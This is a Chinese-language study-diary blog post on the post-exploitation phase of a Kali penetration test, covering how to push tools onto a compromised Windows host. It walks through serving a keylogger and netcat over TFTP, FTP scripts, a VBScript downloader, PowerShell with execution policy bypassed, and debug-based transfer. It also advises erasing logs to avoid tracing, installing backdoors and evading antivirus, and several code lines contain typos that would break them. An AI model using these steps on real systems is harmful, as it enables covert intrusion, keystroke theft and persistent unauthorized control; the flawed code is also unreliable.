• 小白日记20:kali渗透测试之后渗透测试阶段(一)--上传工具


    后渗透测试阶段--上传工具

    为防止管理员将漏洞补上后,我们无法再通过该漏洞控制对方主机,所以需要进行后渗透测试阶段

    1、上传各种工具

    2、提权:为了全面控制目标系统

    3、擦除攻击痕迹:防止管理员通过日志溯源追踪,发现攻击源头【除了系统日记,应用程序也会有自己的日志信息】

    ##删除系统日记和应用程序日记

    例如:SLmail中

    4、安装后门程序

    实现长期控制,Dump密码,作为跳板进行内网渗透【大部分情况下,比公网渗透简单】

    注:后渗透利用阶段

    最大的挑战:防病毒软件【根据病毒特征库进行查杀】。所以我们需要使用合法的远程控制软件(NC)【尽量做到免杀,但也有可能在防病毒软件更新特征库后,被检测出来】

    上传工具

    目的:持久控制,扩大对目标系统的控制能力

    Linux系统

    linux系统下实现上传工具比较容易,因为其默认安装netcat、curl、wget,即使没有安装netcat,也可以轻易地使用curl和wget去黑客共享的服务器下载安装木马、netcat等【curl和wget一定会在linux系统下默认安装】

    Windows系统

    相对来说,windows系统下缺少预装工具,难以进行木马等工具的下载

    getshell后,windows系统下载木门工具实例

    http://www.freebuf.com/articles/network/100788.html

    根据小白日记17,getshell【此为类NC远程控制shell,是一种非交互型的shell(即该命令行窗口下必须输入完整的命令,无法tab键补全)】

    交互型shell与非交互型shell区别:http://kuku789123.blog.163.com/blog/static/1361673512012101513628599/

    在windows系统下安装ftp软件,体验非交互型shell的坏处,添加/删除组件中【appwiz.cpl】【需插入光盘】

    因此我们必须上传一些能提供交互型的木马程序【灰鸽子等】

    上传工具姿势

    1、使用TFTP传输文件【构造一个TFTP服务器,在服务器中放置工具木马等,再通过被控端连接下载】

    XP、2003中默认安装,Win7、2008以后的系统需要单独添加,但经常被边界防火墙过滤。主流为FTP,是因为基于UDP协议,明文传输,不支持身份验证

    利用kali

    mkdir /tftp   #创建tftp目录

    chown -R nobody 设置权限所有者为nobody【无本地登录权限】

    cp /usr/share/windows-binaries/whoami.exe /tftp/       #windows下查看当前用户

    cp /usr/share/windows-binaries/klogger.exe /tftp/       #拷贝键盘记录器

    atftpd --daemon --port 69 /tftp/              #daemon,用后台方式启动,主目录指向tftp

    由于权限问题,会出现以下这个常见问题【启动进程不是tftp】

    需kill 543这个进程,使用chown -R nobody /tftp/   【将所有者改成nobody】

    重启服务

    进到shell窗口,查看tftp

    进行tftp文件传输

    tasklist  #查看进程

    键盘记录器会记录管理员的输入,再同目录下会生成记录键盘输入的文本文件

    type klogger

    2、使用FTP传输

    先在kali上apt-get install pure-ftpd

    使用脚本配置【切记:设置的密码,下面echo会用到】

    #!/bin/bash
    groupadd ftpgroup
    useradd -g ftpgroup -d /dev/null -s /etc ftpuser
    pure-pw useradd yuanfh -u ftpuser -d /ftphome
    pure-pw mkdb
    cd /etc/pure-ftpd/auth/
    ln -s ../conf/PureDB 60pdb
    mkdir -p /ftphome
    chown -R ftpuser:ftpgroup /ftphome/                   #创建的ftp主目录
    /etc/init.d/pure-ftpd restart
    
    验证ftp

    因为非交互系统中,ftp传输,在password命令处无法显示,所以需要通过转换思路进行下载

    思路:【将要实现的命令写到目标服务器的文本文件中,用ftp读取文本文件的命令进行下载】

    C:>echo open 192.168.1.127 21>ftp.txt
    echo open 192.168.1.127 21>ftp.txt
    
    C:>echo yuanfh>>ftp.txt
    echo yuanfh>>ftp.txt
    
    C:>echo password>>ftp.txt
    echo password>>ftp.txt
    
    C:>echo bin>>ftp.txt
    echo bin>>ftp.txt
    
    C:>echo GET whoami.exe >> ftp.txt
    echo GET whoami.exe >> ftp.txt
    
    C:>echo GET klogger.exe >> ftp.txt
    echo GET klogger.exe >> ftp.txt
    
    C:>echo bye >> ftp.txt
    echo bye >> ftp.txt
    
    ##先将whoami,klogger等程序拷贝到ftphome目录【cp /tftp/* /ftphome/】
    ftp -s:ftp.txt

    3、使用VBSCRIRT传输文件

    #VBS是windows系统上默认的解释型脚本语言,在win7后增加了perl

    ##通过web程序,http协议下载远程控制程序,需在kali启动apache2

    root@kali:~# service apache2 start
    root@kali:~# netstat -pantu | grep :80
    tcp6       0      0 :::80                   :::*                    LISTEN      4433/apache2      

    进入apache2默认目录,拷贝文件

    root@kali:~# cd /var/www/html
    root@kali:/var/www/html# cp /ftphome/* .
    root@kali:/var/www/html# ls
    index.html  klogger.exe  whoami.exe
    root@kali:/var/www/html# 
    
    粘贴以下命令到shell窗口
    echo strUrl = WScript.Arguments.Item(0) > wget.vbs
    echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
    echo Const HTTPREQUEST_PROXSEITTING_DEFAULT = 0 >> wget.vbs
    echo Const HTTPREQUEST_PROXSEITTING_PRECONFIG = 0 >> wget.vbs
    echo Const HTTPREQUEST_PROXSEITTING_DIRECT = 1 >> wget.vbs
    echo Const HTTPREQUEST_PROXSEITTING_PROXY = 2 >> wget.vbs
    echo Dim http, varByteArray, strData,strBuffer,lngCounter,fs,ts >> wget.vbs
    echo Err.Clear >> wget.vbs
    echo Set http = Nothing >> wget.vbs
    echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
    echo If http Is Noting Then Set http = CreateObjiect("WinHttp.WinHttpRequest") >> wget.vbs
    echo If http Is Noting Then Set http = CreateObjiect("WinHttp.MSXML2.ServerXMLHTTP") >> wget.vbs
    echo If http Is Noting Then Set http = CreateObjiect("Microsoft.XMLHTTP") >> wget.vbs
    echo http.Open "GET",strURL,False >> wget.vbs
    echo http.Send >> wget.vbs
    echo varByteArray = http.ResponseBody >> wget.vbs
    echo Set http = Noting >> wget.vbs
    echo Set fs = CreateObject("Scrippting.FileSystemObject") >> wget.vbs
    echo Set ts = fs.CreateTextFile(StrFile,True) >> wget.vbs
    echo strData = "" >> wget.vbs
    echo strBuffer = "" >> wget.vbs
    echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
    echo ts.Write Chr(255 And Ascb(Miidb(varByteArray,lngCounter + 1,1))) >> wget.vbs
    echo Next >> wget.vbs
    echo ts.Close >> wget.vbs
    
    cscript wget.vbs http://192.168.1.127/whoami.exe w.exe  

    【windows系统自带的cscipt命令去下载whoami.exe 命名成w.exe,传输完成后,需重启一下目标系统】

    4、使用POWERSHELL传输文件  【到目标服务器下载程序】

    ##需在windows系统下运行

    $strongeDir = $pwd
    $webclient = New-Object System.Net.WebClient
    $url = "http://192.168.1.127/whoami.exe"
    $file = "new-exsploit.exe"
    $webclient DownloadFile($url,$file)
    

    powershell.exe -ExecutionPolicy Bypass  -NoLogo -Nonlnteractive -Noprofile -File wget.ps1

    5、使用DEBUG传输文件

    Debug是一种汇编、反汇编的16进制dump工具,作为文件传输,默认情况下只能传输64k字节的数据

    一、使用upx压缩文件进行压缩再进行传输

    cp /usr/share/windows-binaries/nc.exe .   #拷贝nc到根目录

    root@kali:~# upx -9 nc.exe                          #-9:最高程度压缩
                           Ultimate Packer for eXecutables
                              Copyright (C) 1996 - 2013
    UPX 3.91        Markus Oberhumer, Laszlo Molnar & John Reiser   Sep 30th 2013
    
            File size         Ratio      Format      Name
       --------------------   ------   -----------   -----------
         59392 ->     29184   49.14%    win32/pe     nc.exe                        
    
    Packed 1 file.
    
    二、将exe程序转化成16进制文本格式

    wine /usr/share/windows-binaries/exe2bat.exe nc.exe nc.txt
    将文本文件中的16进制代码(除倒数两行外)全部复制到shell窗口中

    debug<123.hex      #生成1.dll

    copy 1.dlll nc.exe     

  • 相关阅读:
    nyoj17 单调递增最长子序列
    第四届蓝桥杯预赛:第39级台阶
    一个cout引发的血案
    TensorFlow-warning-Your CPU supports instructions that this TensorFlow binary was not compiled to use: AVX2 FMA
    kaldi部署过程
    TensorFlow 在 Anaconda3 Spyder Win10 环境下安装使用及问题解决
    多线程
    通过函数名后加const重载的函数如何区分调用
    语音分帧时设置相邻帧部分重叠的原因
    第二章 线性代数
  • 原文地址:https://www.cnblogs.com/zixuanfy/p/5988696.html
Copyright © 2020-2023  润新知